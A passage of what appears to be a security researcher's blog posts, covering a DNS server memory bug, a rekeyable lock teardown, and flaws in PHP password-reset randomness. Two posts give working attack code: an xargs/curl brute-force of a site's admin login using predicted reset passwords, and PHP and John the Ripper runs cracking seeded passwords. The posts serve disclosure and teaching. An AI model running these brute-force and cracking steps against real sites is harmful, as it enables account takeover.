Here, it reads the length of the first field from [esi] - which, in our 'attack', is the length of the 'replacement' value, not the flags value like it ought to be. It uses memcpy to copy that into a buffer, using the user-controlled length. then it loops. The second time, it's going to read the null byte (\x00) that's immediately after the 'replacement' value. The third time, it's going to read the byte following that null byte. What's there? We'll get to that in a second.

Then, after it loops three times, it calls _Name_WriteCountNameToPacketEx(), passing it the remainder of the buffer. Again, what's that value?

Let's stick a breakpoint on 0xed5935 - the memcpy - and see what the three values are. First, for 'my.test.com.aaaaaaa':

As we can see, the first field is, as expected, the 'replacement' value - my.test.com.aaaaaaaaaaa. The second value is blank, and the third value is blank. The result is going to be the usual "\x03\x02my\x04test\x03com". No problem! Now let's do a lookup for "my.test.com.a":

The first one is, as usual, the 'replacement' value. The second memcpy starts with the 0x00 byte at the end, and copies 0 bytes. But the third one starts on 0x61 - that's one of the 'a' values from the previous packet! - and copies 0x61 bytes into the buffer. Then _Name_WriteCountNameToPacketEx() is called 0x61 bytes after on whatever happens to be there.

What's it all mean?

What's this mean? And why should we care?

Well, it turns out that this vulnerability, in spite of its original innocuous appearance, is actually very interesting. We can pass 100% user-controlled values into memcpy - unfortunately, it's a one-byte size value. Additionally, we can pass 100% user-controlled values into a complicated function that does a bunch of pointer arithmatic - _Name_WriteCountNameToPacketEx()! I reversed that full function, but I couldn't see any obvious points where I could gain control.

Given enough time and thought, though, I'm reasonably confident that you can turn this into a standard heap overflow. A heap overflow on Windows 2008 would be difficult to exploit, though. But there are some other quirks that may help - _Name_WriteCountNameToPacketEx() does some interesting operations, like collapsing matching domain names into pointers - 'c0 0c' will look familiar if you've ever worked with DNS before.

So, is this exploitable? I'm not sure. Is it definitely NOT exploitable? I wouldn't say so. When you can start passing user-controlled values into functions that expect tightly-controlled pointer values, that's when the fun starts. :)

Conclusion

I hope you were able to follow along, and I hope that the real exploit devs out there read this and can take it a step further. I'd be very interested in whether this vulnerability can be taken to the next level!

As I'm sure you all know, I normally post about IT security here. But, once in awhile, I like to take a look at physical security, even if it's just in jest.

Well, this time it isn't in jest. I was at Rona last week buying a lead/asbestos/mold-rated respirator (don't ask!), when I took a walk down the lock aisle. I'm tired of all my practice locks and was thinking of picking up something interesting. Then I saw it: a lock that advertised that it could re-key itself to any key. Woah! I had to play with it.

Now, maybe I'm an idiot (in fact, my best friends would swear it). But I hadn't ever heard of a lock that can do that before! So I did the obvious thing: I bought it, took it apart, figured out how it worked, then took pictures of everything.

How it's used

So, in normal use, this is what you do.

When you take it out of the package, it looks like a normal lock with an extra little hole in the side:

You stick in the proper key, turn it a 1/4 turn (so the key is horizontal), as shown here:

Then, in the little hole, you use the special "re-key" tool that it comes with:

Once the tool's been inserted, you can pull out the key:

At this point, the lock is in "re-key mode". I'll talk about how it works later, but you can now insert any key that matches the warding:

Turn it back to the original position:

And remove it:

Congratulations! The lock is now keyed to the new key instead of the old key. How the hell did that happen!?

Vocabulary

Just some quick definitions to help you follow (I'm stealing phrases from normal locks that shouldn't really apply to this one, but it's convenient):

Key pins are the pins that touch the key

Driver pins are the pins (in this case, with a saw-tooth) that don't touch the key

Key cylinder is the half of the cylinder that you insert the key into (and that houses the key pins)

Loose cylinder is the other half of the cylinder that I couldn't think of a good name for

The bar is an oddly shaped metal bar that fits into the loose cylinder.

How it works

Naturally, the next thing I did was take the lock apart. As soon as I removed a couple bits that held it together, the whole cylinder slid out, fell on my desk, and all the little pieces went everywhere. An hour later, I got it re-assembled and working again, and this is what it looked like:

Don't forget, you can click on the pictures for a bigger version!

Anyway, there are actually two half-cylinders (that I'm calling the key cylinder and the loose cylinder) held together by simply being in the lock, plus the bar across the back of one, 5 loose driver pins on the inside, and 5 key pins that can't easily be removed.

In that picture, there are two important details that I called out. First, the slot in the bottom of the loose cylinder fits into the '- - - - -' on the key cylinder. Second, the jagged part of the driver pins fits on a little hook on the key pins. Those two facts are important both for the re-key and the locking.

Here's a closeup of what I'm calling the driver pins:

Note that they have two grooves, one on the front and one on the back (for the purposes of the narrative, the front is on the right). The groove on the front, as we saw earlier, fits into the '- - - - -' pattern on the key cylinder. The groove on the back fits into the bar, shown above, that goes onto the back of the loose cylinder.

Re-keying

So let's look at how the re-key mechanism work!

First, recall that the driver pins have a groove that fits into a '- - - - -' on the lock:

In normal use, these pins freely move up and down beside the '-' marks. They're pulled up and down by the little hooks on the key pins. When the proper key is inserted, the grooves on all five pins will line up with (but DON'T hook onto) the five '-' marks:

Then the re-key tool is inserted:

This slides the groove on the driver pins onto the '-' marks. Not that this cannot happen if the key is the wrong one. That's an important part of the security. Here's what it looks like if the loose cylinder is removed (I only did two pins because setting this up is like balancing a coin on its side):

When you remove the key, the driver pins will rest in the "good" position - that is, in the position that lets the cylinder rotate and that lets it be re-keyed - thanks to the grooves they're now sitting on. The key pins, which are no longer hooked on the driver pins, will return to their original positions.

When you insert a new key, the key pins will return to a new position while the driver pins are still in the "good" position (that lets you re-key/unlock).

When you turn the key back, the driver pins will come off the '-' marks and wind up back on the key pins' grooves. But the location of the driver pins has changed - the key that lines up all the grooves is now the new key, not the old one!

This design is, in my opinion, brilliant! It's pretty straight forward, now, to see how it locks.

Locking

Now that we know how the pins work, as I said, the locking is actually pretty straight forward. Remember that bar along the back of the removable cylinder we saw earlier?

Well, that's the key (ha!) to this whole thing.

Basically, when no key or the wrong key is inserted, it stays locked in position jutting out from the cylinder:

When the proper key is inserted, it can be pushed back in:

This is because of the groove on the backs of the pins. The bar rests on the pins but can only be pushed in when the five grooves of the five pins are in the proper place.

And that's it!

Security

Based on what I've seen, it appears that these locks can likely be picked in two different ways. The standard way, using a tension wrench, has several issues:

• It's difficult to get the pick into the keyway due to the warding
• Every pin is grooved along the back so it sets improperly all over the place
• Because the key pins pull up the driver pins, you don't get the same feeling when the pins are setting

I had another idea for picking, though, that I don't have the right tool to accomplish. The standard way is to turn the cylinder and relay on it causing the bar along the back to put pressure on the pins, but the pins have a sawtooth along the back to set falsely. That's difficult. However, if we put tension on the re-key hole, then we're pushing the pins towards the back of the lock onto the '- - - - -' lines. There's no security on the sides of the pin, so, in theory, it should pick a whole lot easier. And, once you've picked it, you'll be able to re-key and never pick it again. BAM!

Unfortunately, you need a thin tool that can maintain a constant pressure, and I can't think of anything like that. Any ideas?

Hope you enjoyed this somewhat non-standard posting!

This is part 3 to my 2-part series on password reset attacks (Part 1 / Part 2). Overall, I got awesome feedback on the first two parts, but I got the same question over and over: what's the RIGHT way to do this?

So, here's the thing. I like to break stuff, but I generally leave the fixing to somebody else. It's just safer that way, since I'm not really a developer or anything like that. Instead, I'm going to continue the trend of looking at others' implementations by looking at three major opensource projects - WordPress, SMF, and MediaWiki. Then, since all of these rely on PHP's random number implementation to some extent, I'll take a brief look at PHP.

SMF

SMF 1.1.13 implements the password-reset function in Sources/Subs-Auth.php:

  // Generate a random password.
  require_once($sourcedir . '/Subs-Members.php');
  $newPassword = generateValidationCode();
  $newPassword_sha1 = sha1(strtolower($user) . $newPassword);

Looking at Sources/Subs-Members.php, we find:

// Generate a random validation code.
function generateValidationCode()
{
  global $modSettings;

  $request = db_query('
    SELECT RAND()', __FILE__, __LINE__);

  list ($dbRand) = mysql_fetch_row($request);
  mysql_free_result($request);

  return substr(preg_replace('/\W/', '', sha1(microtime() . mt_rand() . $dbRand .
      $modSettings['rand_seed'])), 0, 10);
}

Which is pretty straight forward, but also, in my opinion, very strong. It takes entropy from a bunch of different places:

• The current time (microtime())
• PHP's random number generator (mt_rand())
• MySQL's random number generator ($dbRand)
• A user-configurable random seed

Essentially, it puts these difficult-to-guess values through a cryptographically secure function, sha1(), and takes the first 10 characters of the hash.

The hash consists of lowercase letters and numbers, which means there are 36 possible choices for 10 characters, for a total of 36¹⁰ or 3,656,158,440,062,976 possible outputs. That isn't as strong as it *could* be, since there's no reason to limit its length to 10 characters (or its character set to 36 characters). That being said, three quadrillion different passwords would be nearly impossible to guess. (By my math, exhaustively cracking all possible passwords, assuming md5 cracks at 5 million guesses/second, would take about 23 CPU-years). Not that cracking is terribly useful - remote bruteforce guessing is much more useful and is clearly impossible.

SMF is my favourite implementation of the three, but let's take a look at WordPress!

WordPress

WordPress 3.1 implements the password-reset function in wp-login.php:

  $key = $wpdb->get_var($wpdb->prepare("SELECT user_activation_key FROM
      $wpdb->users WHERE user_login = %s", $user_login));
  if ( empty($key) ) {
    // Generate something random for a key...
    $key = wp_generate_password(20, false);
    do_action('retrieve_password_key', $user_login, $key);
    // Now insert the new md5 key into the db
    $wpdb->update($wpdb->users, array('user_activation_key' => $key),
      array('user_login' => $user_login));
  }

wp_generate_password() is found in wp-includes/pluggable.php:

/**
 * Generates a random password drawn from the defined set of characters.
 *
 * @since 2.5
 *
 * @param int $length The length of password to generate
 * @param bool $special_chars Whether to include standard special characters.
      Default true.
 * @param bool $extra_special_chars Whether to include other special characters.
 *   Used when generating secret keys and salts. Default false.
 * @return string The random password
 **/
function wp_generate_password( $length = 12, $special_chars = true, $
      extra_special_chars = false ) {
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  if ( $special_chars )
    $chars .= '!@#$%^&*()';
  if ( $extra_special_chars )
    $chars .= '-_ []{}<>~`+=,.;:/?|';

  $password = '';
  for ( $i = 0; $i < $length; $i++ ) {
    $password .= substr($chars, wp_rand(0, strlen($chars) - 1), 1);
  }

  // random_password filter was previously in random_password function which was
      deprecated
  return apply_filters('random_password', $password);
}

This generates a string of random characters (and possibly symbols) up to a defined length, choosing the characters using wp_rand(). So, for the final step, how is wp_rand() implemented? It's also found in wp-includes/pluggable.php and looks like this:

  global $rnd_value;

  // Reset $rnd_value after 14 uses
  // 32(md5) + 40(sha1) + 40(sha1) / 8 = 14 random numbers from $rnd_value
  if ( strlen($rnd_value) < 8 ) {
    if ( defined( 'WP_SETUP_CONFIG' ) )
      static $seed = '';
    else
      $seed = get_transient('random_seed');
    $rnd_value = md5( uniqid(microtime() . mt_rand(), true ) . $seed );
    $rnd_value .= sha1($rnd_value);
    $rnd_value .= sha1($rnd_value . $seed);
    $seed = md5($seed . $rnd_value);
    if ( ! defined( 'WP_SETUP_CONFIG' ) )
      set_transient('random_seed', $seed);
  }

  // Take the first 8 digits for our value
  $value = substr($rnd_value, 0, 8);

  // Strip the first eight, leaving the remainder for the next call to wp_rand().
  $rnd_value = substr($rnd_value, 8);

  $value = abs(hexdec($value));

  // Reduce the value to be within the min - max range
  // 4294967295 = 0xffffffff = max random number
  if ( $max != 0 )
    $value = $min + (($max - $min + 1) * ($value / (4294967295 + 1)));

  return abs(intval($value));
}

This is quite complex for generating a number! But the points of interest are:

• Hashing functions (sha1 and md5) are used, which are going to be a lot slower than a standard generator, but they, at least in theory, have cryptographic strength
• The random number is seeded with microtime() and mt_rand(), which is PHP's "advanced" randomization function)
• The random number is restricted to 0 - 0xFFFFFFFF, which is pretty typical

In practice, due to the multiple seeds with difficult-to-predict values and the use of a hashing function to generate strong random numbers, this seems to be a good implementation of a password reset. My biggest concern is the complexity - using multiple hashing algorithms and hashing in odd ways (like hasing the value alone, then the hash with the seed). It has the feeling of being unsure what to do, so trying to do everything 'just in case'. While I don't expect to find any weaknesses in the implementation, it's a little concerning.

Now, let's take a look at my least favourite (although still reasonably strong) password-reset implementation: MediaWiki!

MediaWiki

MediaWiki 1.16.2 was actually the most difficult to find the password reset function in. Eventually, though, I managed to track it down to includes/specials/SpecialUserlogin.php:

    $np = $u->randomPassword();
    $u->setNewpassword( $np, $throttle );
    $u->saveSettings();
    $userLanguage = $u->getOption( 'language' );
    $m = wfMsgExt( $emailText, array( 'parsemag', 'language' => $userLanguage ),
      $ip, $u->getName(), $np,
        $wgServer . $wgScript, round( $wgNewPasswordExpiry / 86400 ) );
    $result = $u->sendMail( wfMsgExt( $emailTitle, array( 'parsemag',
      'language' => $userLanguage ) ), $m );

$u->randomPassword() is found in includes/User.php looks like this:

  /**
   * Return a random password. Sourced from mt_rand, so it's not particularly secure.
   * @todo hash random numbers to improve security, like generateToken()
   *
   * @return \string New random password
   */
  static function randomPassword() {
    global $wgMinimalPasswordLength;
    $pwchars = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz';
    $l = strlen( $pwchars ) - 1;

    $pwlength = max( 7, $wgMinimalPasswordLength );
    $digit = mt_rand( 0, $pwlength - 1 );
    $np = '';
    for ( $i = 0; $i < $pwlength; $i++ ) {
      $np .= $i == $digit ? chr( mt_rand( 48, 57 ) ) : $pwchars{ mt_rand( 0, $l ) };
    }
    return $np;
  }

This is easily the most complex, and also most dangerous, password-reset implementation that I've found.

First, the length is only 7 characters by default. That's already an issue.

Second, the set of characters is letters (uppercase + lowercase) and exactly one number. And it looks to me like they put a lot of effort into figuring out just how to put that one number into the password. Initially, I thought this made the password slightly weaker due to the following calculations:

• 7 characters @ 52 choices = 52⁷ = 1,028,071,702,528
• 6 characters @ 52 choices + 1 character @ 10 choices = 52⁶ * 10 = 197,706,096,640

However, as my friend pointed out, because you don't know where, exactly, the number will be placed, that actually adds an extra multiplier to the strength:

• 6 characters @ 52 choices + 1 characters @ 10 choices + unknown number location = 52⁶ * 10 * 7 = 1,383,942,676,480

So, in reality, adding a single number does improve the strength, but only by a bit.

Even with the extra number, though, the best we have at 7 characters is about 1.4 trillion choices. As with the others, that's essentially impossible to guess/bruteforce remotely. That's a good thing. However, with a password cracker and 5 million checks/second, it would take a little over 3.2 CPU-days to exhaustively crack all generated passwords, so that can very easily be achieved.

The other issue here is that the only source of entropy is PHP's mt_rand() function. The next section will look at how PHP seeds this function.

PHP

All three of these implementations depend, in one way or another, on PHP's mt_rand() function. The obvious question is, how strong is mt_rand()?

I'm only going to look at this from a high level for now. When I have some more time, I'm hoping to dig deeper into this and, with luck, bust it wide open. Stay tuned for that. :)

For now, though, let's look at the function that's used by all three password-reset functions: mt_rand(). mt_rand() is an implementation of the Mersenne Twister algorithm, which is a well tested random number generator with an advertised average period of 2¹⁹⁹³⁷-1. That means that it won't repeat until 2¹⁹⁹³⁷-1 values are generated. I don't personally have the skills to analyze the strength of the algorithm itself, but what I CAN look at is the seed.

Whether using rand() or mt_rand(), PHP automatically seeds the random number generator. The code is in ext/standard/rand.c, and looks like this:

PHPAPI long php_rand(TSRMLS_D)
{
    long ret;

    if (!BG(rand_is_seeded)) {
        php_srand(GENERATE_SEED() TSRMLS_CC);
    }
    // ...
}

Simple enough - if rand() is called without a seed, then seed it with the GENERATE_SEED() macro, which is found in ext/standard/php_rand.h:

#ifdef PHP_WIN32
#define GENERATE_SEED() (((long) (time(0) * GetCurrentProcessId())) ^ 
     ((long)(1000000.0 * php_combined_lcg(TSRMLS_C))))
#else
#define GENERATE_SEED() (((long) (time(0) * getpid())) ^ 
     ((long) (1000000.0 * php_combined_lcg(TSRMLS_C))))
#endif

So it's seeded with the current time() (known), process id (weak), and php_combined_lcg(). What the heck is php_combined_lcg? Well, an LCG is a Linear Congruential Generator, a type of random number generator, and it's defined at ext/standard/lcg.c so let's take a look:

PHPAPI double php_combined_lcg(TSRMLS_D) /* {{{ */
{
    php_int32 q;
    php_int32 z;

    if (!LCG(seeded)) {
        lcg_seed(TSRMLS_C);
    }

    MODMULT(53668, 40014, 12211, 2147483563L, LCG(s1));
    MODMULT(52774, 40692, 3791, 2147483399L, LCG(s2));

    z = LCG(s1) - LCG(s2);
    if (z < 1) {
        z += 2147483562;
    }

    return z * 4.656613e-10;
}

This function also needs to be seeded! It's pretty funny to seed a random number generator with another random number generator - what, exactly, does that improve?

Here is what lcg_seed(), in the same file, looks like:

static void lcg_seed(TSRMLS_D) /* {{{ */
{
    struct timeval tv;

    if (gettimeofday(&tv, NULL) == 0) {
        LCG(s1) = tv.tv_sec ^ (tv.tv_usec<<11);
    } else {
        LCG(s1) = 1;
    }
#ifdef ZTS
    LCG(s2) = (long) tsrm_thread_id();
#else 
    LCG(s2) = (long) getpid();
#endif

    /* Add entropy to s2 by calling gettimeofday() again */
    if (gettimeofday(&tv, NULL) == 0) {
        LCG(s2) ^= (tv.tv_usec<<11);
    }

    LCG(seeded) = 1;
}

This is seeded with the current time (known), the process id (weak), and the current time again (still known).

So to summarize, unless I'm missing something, PHP's automatic seeding uses the following for entropy:

• Current time (known value)
• Process ID (predictable range)
• php_combined_lcg
• Current time (again)
• Process id (again)
• Current time (yet again)

I haven't done any further research into PHP's random number generator, but from what I've seen I don't get a good feeling about it. It would be interesting if somebody took this a step further and actually wrote an attack against PHP's random number implementation. That, or discovered a source of entropy that I was unaware of. Because, from the code I've looked at, it looks like there may be some problems.

An additional issue is that every seed generated is cast to a (long), which is 32-bits. That means that at the very most, despite the ridiculously long period of the mt_rand() function, there are only 4.2 billion possible seeds. That means, at the very best, an application that relies entirely on mt_rand() or rand() for their randomness are going to be a lot less random than they think!

It turns out, after a little research, I'm not the only one who's noticed problems with PHP's random functions. In fact, in that article, Stefan goes over a history of PHP's random number issues. It turns out, what I've found is only the tip of the iceberg!

Observations

I hope the last three blogs have raised some awareness on how randomization can be used and abused. It turns out, using randomness is far more complex than people realize. First, you have to know how to use it properly; otherwise, you've already lost. Second, you have to consider how you're generating the it in the first place.

It seems that the vast majority of applications make either one mistake or the other. It's difficult to create "good" randomness, though, and I think the one that does the best job is actually SMF.

Recommendation

Here is what I would suggest:

• Get your randomness from multiple sources
• Save a good random seed between sessions (eg, save the last output of the random number generator to the database)
• Use cryptographically secure functions for random generation (for example, hashing functions)
• Don't limit your seeds to 32-bit values
• Collect entropy in the application, if possible (what happens in your application that is impossible to guess/detect/force but that can accumulate?)

I'm sure there are some other great suggestions for ensuring your random numbers are cryptographically secure, and I've love to hear them!

In my last post, I showed how we could guess the output of a password-reset function with a million states. While doing research for that, I stumbled across some software that had a mere 16,000 states. I will show how to fully compromise this software package remotely using the password reset.

The code

First, let's take a look at the code:

<?php
  if (strtolower($cfgrow['email'])==strtolower($_POST['reminderemail']))
  {
    // generate a random new pass
    $user_pass = substr( MD5('time' . rand(1, 16000)), 0, 6);
    $query = "update config set password=MD5('$user_pass') where [...]"
    if(mysql_query($query))
    {
       // ...
?>

The vulnerability

The vulnerability lies in the password generation:

    $user_pass = substr( MD5('time' . rand(1, 16000)), 0, 6);

The new password generated is the md5() of the literal string 'time' (*not* the current time, the *word* "time") concatenated with one of 16,000 random numbers, then truncated to 6 bytes. We can very easily generate the complete password list on the commandline:

$ seq 1 16000 | xargs -I XXX sh -c "echo timeXXX | md5sum | cut -b1-6"

or, another way:

$ for i in `seq 1 16000`; do echo "time$i" | md5sum | cut -b1-6

(By the way, for more information on using xargs, check out a really awesome blog posting called Taco Bell Programming - it's like real programming, but you can't legally call it "beef")

In either case, you'll wind up with 16,000 different passwords in a file. If you want to speed up the eventual bruteforce, you can eliminate collisions:

$ seq 1 16000 | xargs -I XXX sh -c "echo XXX | md5sum | cut -b1-6" | sort | uniq

If you do that, you'll wind up with 15,993 different passwords, ranging from '000b64' to 'fffcc0'. Now all that's left is to try these 15,993 passwords against the site!

The attack

You can do this attack any number of ways. You can script up some Perl/Ruby/PHP, you can use a scanner like Burp Suite, or, if you're feeling really adventurous, you can write a quick config file for http-enum.nse. If anybody takes the time to replicate this with http-enum.nse, you'll win an Internet from me. I promise.

But why bother with all these complicated pieces of software when we have bash handy? All we need to do is try all 15,993 passwords using wget/curl/etc and look for the one page that's different. Done!

So, to download a single page, we'd use:

$ curl -s -o XXX.out -d "user=admin&password=XXX" <site>/admin/?x=login

This will create a file called XXX.out on the filesystem, which is the output from a login attempt with the password XXX. Now we use xargs to do that for every password:

$ cat passwords.txt | xargs -P32 -I XXX curl -s -o XXX.out \
  -d "user=admin&password=XXX" <site>/admin/?x=login

Which will, in 32 parallel processes, attempt to log in with each password and write the result to a file named <password>.out. Now all we have to do figure out which one's different! After waiting for it to finish (or not.. it takes about 5-10 minutes), I check the folder:

$ md5sum *.out | head
96ffbb1ba380de9fc9e7a3fe316ff631  000176.out
96ffbb1ba380de9fc9e7a3fe316ff631  0014c2.out
96ffbb1ba380de9fc9e7a3fe316ff631  001e7e.out
96ffbb1ba380de9fc9e7a3fe316ff631  002035.out
96ffbb1ba380de9fc9e7a3fe316ff631  00217c.out
96ffbb1ba380de9fc9e7a3fe316ff631  002c47.out
96ffbb1ba380de9fc9e7a3fe316ff631  003b9e.out
96ffbb1ba380de9fc9e7a3fe316ff631  004bff.out
96ffbb1ba380de9fc9e7a3fe316ff631  0057b8.out
96ffbb1ba380de9fc9e7a3fe316ff631  008dea.out

Sure enough, it's tried all the passwords and they all seemed to download the same page! Now we use grep -v to find the one and only download that's different:

$ md5sum *.out | grep -v 96ffbb1ba380de9fc9e7a3fe316ff631
d41d8cd98f00b204e9800998ecf8427e  b19261.out

And bam! We now know the password is "b19261".

Conclusion

So there you have it - abusing a password reset to log into an account you shouldn't. And remember, even though we didn't test this with 1,000,000 possible passwords like last week's blog, it would only take about 60 times as long - so instead of a few minutes, it'd be a few hours. And as I said last week, that million-password reset form was actually pretty common.

And in case you think this is hocus pocus or whatever, I wrote the code shown here live, on stage, at Winnipeg Code Camp. It's towards the end of my talk.

This is part one of a two-part blog on password resets. For anybody who saw my talk (or watched the video) from Winnipeg Code Camp, some of this will be old news (but hopefully still interesting!)

For this first part, I'm going to take a closer look at some very common (and very flawed) code that I've seen in on a major "snippit" site and contained in at least 5-6 different applications (out of 20 or so that I reviewed). The second blog will focus on a single application that does something much worse.

Password reset?

First off, what is a password reset? You probably know this already, so feel free to skip to the next section for the good stuff.

Many sites offer a feature for users who forgot their passwords. They click a link, and it sends them a temporary password (or, for some sites, it changes their site password to a temporary password, effectively locking out the user till they check their email).

These generally work by generating a one-time password/token/etc, and emailing it to the address on record. The legitimate user receives the email, and clicks the link/uses the temp password/etc to log back into their account, at which point they ought to (or are forced to) change their password.

Some reset schemes require the user to answer their "secret questions", which often involves knowing information that nobody else (except Facebook) knows. I'm not a fan of the "secret question" and "secret answer" strategy myself, and they were torn apart by experts after Sarah Palin's email was compromised, so we aren't going to talk about them.

It is widely known that passwords are the weakest point in most security systems. Well, as it turns out, password resets are often the weakest point in password schemes. No matter how good your password policies, login procedures, etc are, a bad password reset can compromise an entire system. Here's a few ways:

• Poorly chosen random passwords (that's what this post is about)
• Poorly validated email addresses (can I reset the password to *my* address?)
• Relying entirely on secret questions/answers (Palin hack)
• Not extending brute-force protection (or logging) to the reset tokens

The last point is somewhat interesting, but none of the reset schemes I found in applications used reset tokens so I'm not going to cover them.

Methodology

To do this research, I found a large repository of PHP projects, clicks on the "blogs" category, and downloaded a whole bunch of them. In the end, I had about 20 different applications. I didn't keep a list, but from memory, I found the following:

• 10 had no accounts, no passwords, or no ability to recover passwords
• 6 used a password-reset function that is somewhat weak and very common (and can be found on snippits sites) - the scheme that I'm covering this week
• 3 emailed back the passwords in plaintext
• 1 used a *really* bad reset scheme (that's the one I'm covering next post)

Motivation

Let's say you compromise a site (for a legitimate and ethical penetration test, of course). You wind up with 1,000,000 accounts from a database that happens to use this password generation technique (either for password resets or for generating initial passwords). Rather than wasting time cracking these passwords, you want to eliminate every "generated" password from the list. How can you do that?

Or another scenario: you realize that a company's corporate "password generator" toolbar utility is using this algorithm to generate "secure" passwords within a company. Knowing that some users are going to misuse this utility, and use the same "strong" passwords on multiple accounts, you compromise a weak host, crack a user's 14-character "random" password, then use that to log into their other systems.

How the heck do we crack a 14-character random password, you ask? Let's fine out!

The code

We're going to focus on the six or so sites that used a common password reset function. Here's the snippit:

<?php
  function generate_random_password($length)
  {
    $chars = 'abcdefghijkmnopqrstuvwxyz023456789!@#$';

    srand((double)microtime() * 1000000);

    $passwd = '';
    $chars_length = strlen($chars) - 1;

    for ($i = 0; $i < $length; $i++)
        $passwd .= substr($chars, (rand() % $chars_length), 1);

    return $passwd;
  }
?>

At first glance, this didn't look too bad. I was a little disappointed, to be honest. Using srand() in modern PHP versions isn't recommended, but it appears to be seeded with a high-resolution timer - that could make it difficult to guess. In theory.

If you were to generate a password with strong randomization and a decent length (say, 14 characters), even with a fast/weak hashing algorithm like md5 it'll be nearly impossible to crack. We need a better way!

I decided to look at how strong the seed passed to srand() actually was. To do this, I replaced srand() with echo():

<?php
  for($i = 0; $i < 3; $i++)
  {
    echo((double)microtime() * 1000000);
    echo "\n";
  }
?>

Then ran the application a few times to get an idea of how the seed worked:

$ php srand.php
155118
155198
155213
$ php srand.php
898454
898536
898552
$ php srand.php
673755
673844
673860

Hmm! It looks like the random seed is actually a fairly hard-to-guess integer between 0 and 1,000,000. Fortunately, 1,000,000 is a small number. Suddenly, this is a lot easier.

In my next blog, I'm going to look at how we can use commandline tools to do a bruteforce remotely and guess a password this way, but for now let's see how we can crack the passwords using two methods: php and john the ripper.

Cracking it with PHP

If for whatever reason you only have a single hash that you want to crack, this is by far the easiest way. I basically modified the original function (found above) to take an extra parameter - the hash - and to generate random passwords with different seeds until it finds one that matches. Here's the code:

<?php
  function generate_random_password($length, $hash)
  {
    $chars = 'abcdefghijkmnopqrstuvwxyz023456789!@#$';

    for($j = 0; $j < 1000000; $j++)
    {
      srand($j);

      $passwd = '';
      $chars_length = strlen($chars) - 1;

      for ($i = 0; $i < $length; $i++)
          $passwd .= substr($chars, (rand() % $chars_length), 1);

      if(md5($passwd) == $hash)
        return $passwd;
    }
  }
?>

Basically, we generate all million possible passwords and figure out which one it is. Easy!

I wrote a couple little test programs that basically just call those functions to confirm it works:

$ php password_reset.php 14
Generated a 14-character, random password: 4fx@xpxtuos6ee (md5: ef949c5bd59359a5403caafa95d3c5f9)
$ php password_reset.php 14
Generated a 14-character, random password: 95h76tio0vbuh4 (md5: 8ad7fa746f82d90bee2bc38783ad7981)
$ php password_reset.php 20
Generated a 20-character, random password: qnhbk95a8m2sqvwrzieb (md5: 1a902b5f425555446186f346a62c7a53)

Now normally, all three of these would be impossible to crack. Typically, a 14-character password, chosen from a set of 38 different characters, has 13,090,925,539,866,773,438,464 different possibilities. Fortunately, as we saw earlier, the rand() is seeded with only a million possible seeds, and a million is definitely bruteforceable!

We've already seen the function to crack the passwords, so let's try it out:

$ php ./password_reset_crack.php 14 ef949c5bd59359a5403caafa95d3c5f9
The password is: 4fx@xpxtuos6ee
$ php ./password_reset_crack.php 14 8ad7fa746f82d90bee2bc38783ad7981
The password is: 95h76tio0vbuh4
$ php ./password_reset_crack.php 20 1a902b5f425555446186f346a62c7a53
The password is: qnhbk95a8m2sqvwrzieb

And it isn't slow, either:

$ time php ./password_reset_crack.php 20 1a902b5f425555446186f346a62c7a53
The password is: qnhbk95a8m2sqvwrzieb

real    0m3.732s
user    0m3.709s
sys     0m0.005s

So basically, we cracked a 20-character "random" password in under 4 seconds, w00t! (or, to quote a new friend, "WOOP WOOP WOOP WOOP")

Cracking with john

Let's say that instead of three passwords, you have a thousand. In fact, let's generate a whole bunch! You can try it yourself, too. The file contains 5000 passwords in raw-md5 format (with a few duplicates thanks in part to the Birthday Paradox). We're going to use john the ripper 1.7.6 with the Jumbo patch to try cracking them. By default, john fails miserably:

$ ./john --format=raw-md5 ./14_character_hashes.txt
Loaded 5000 password hashes with no different salts (Raw MD5 [raw-md5 64x1])
guesses: 0  time: 0:00:00:31 (3)  c/s: 20900M  trying: tenoeuf - tenoey5
Session aborted

Even at 20,000,000,000 checks/second, it's getting nothing. I can leave it all day and it will get nothing. These passwords are pretty much impossible to crack with brute force.

Now let's let john in on the secret and tell it the 1,000,000 possible passwords!

The first thing we do is write a quick php application to generate them:

<?php
  function generate_random_password($length)
  {
    $chars = 'abcdefghijkmnopqrstuvwxyz023456789!@#$';

    for($j = 0; $j < 1000000; $j++)
    {
      srand($j);
      $passwd = '';
      $chars_length = strlen($chars) - 1;

      for ($i = 0; $i < $length; $i++)
          $passwd .= substr($chars, (rand() % $chars_length), 1);
      echo $passwd . "\n";
    }
  }

  generate_random_password($argv[1]);
?>

Then run it to prove it works:

$ php ./generate_plaintext.php 14 | head
!@fju@5qx7@s4r
!@fju@5qx7@s4r
we#hqgerz4@oro
2zyemt2h7caer2
rwm!2mdw4!yatk
tzd!nz@!njsyso
tgkzg60k!k!84p
jwnmnd4#eo8@!r
s@4cbh0ki7j@qz
avxgx#5qv0y2tw

And send its output into a file:

$ php ./generate_plaintext.php 14 > 14_character_plaintexts.txt

You can save some trouble and download it here if you want to follow along.

Then we send that file into john and watch the magic...

$ rm john.pot
$ ./john --stdin --format=raw-md5 14_character_hashes.txt < 14_character_plaintexts.txt
Loaded 4231 password hashes with no different salts (Raw MD5 [raw-md5 64x1])
d3jg8b49vkh0qr   (?)
ikzryv@bf7!#o#   (?)
64z8r3x@bdgv4s   (?)
vzmh4beou7#n4s   (?)
vyh!2o7000j@8k   (?)
czdxguvc67fcfs   (?)
2fnvq4hf2ftms8   (?)
jqxouo#mxhnj5h   (?)
kabami3i@!ehgc   (?)
...
g@c840br06hje7   (?)
0@xg!6mx9npez4   (?)
ro6!t@pyahjq4v   (?)
cpqgc@g6h9hvks   (?)
ysf!t89543fv2u   (?)
guesses: 4231  time: 0:00:00:00  c/s: 2574M  trying: p2aiw#!s!7qho! - zhswbxxiho2e3u

As you can see, it loaded 4231 password hashes (there were less than 5000 due to collisions), and cracked them all. And it took 0 seconds. that's pretty darn good!

Conclusion

Now you've seen how we can very quickly crack a password generated with a bad algorithm. In my next blog, we'll see how we can crack one generated with an even worse algorithm, remotely!

Introduction

Anybody who follows my blog/work regularly know that I collect, crack, and disseminate password breaches. I have a wiki page devoted to breaches and dictionaries and I occasionally do talks on the subject. And if you follow me on Twitter, you'll see regular updates about password dictionaries.

The issue is, not everybody agrees with what I do (I was hoping to have more links in that sentence, but only two people actually said they thought it was wrong when I asked for comments on Twitter). Fortunately, many more people agreed that I was doing something good. So I take that as a small victory...

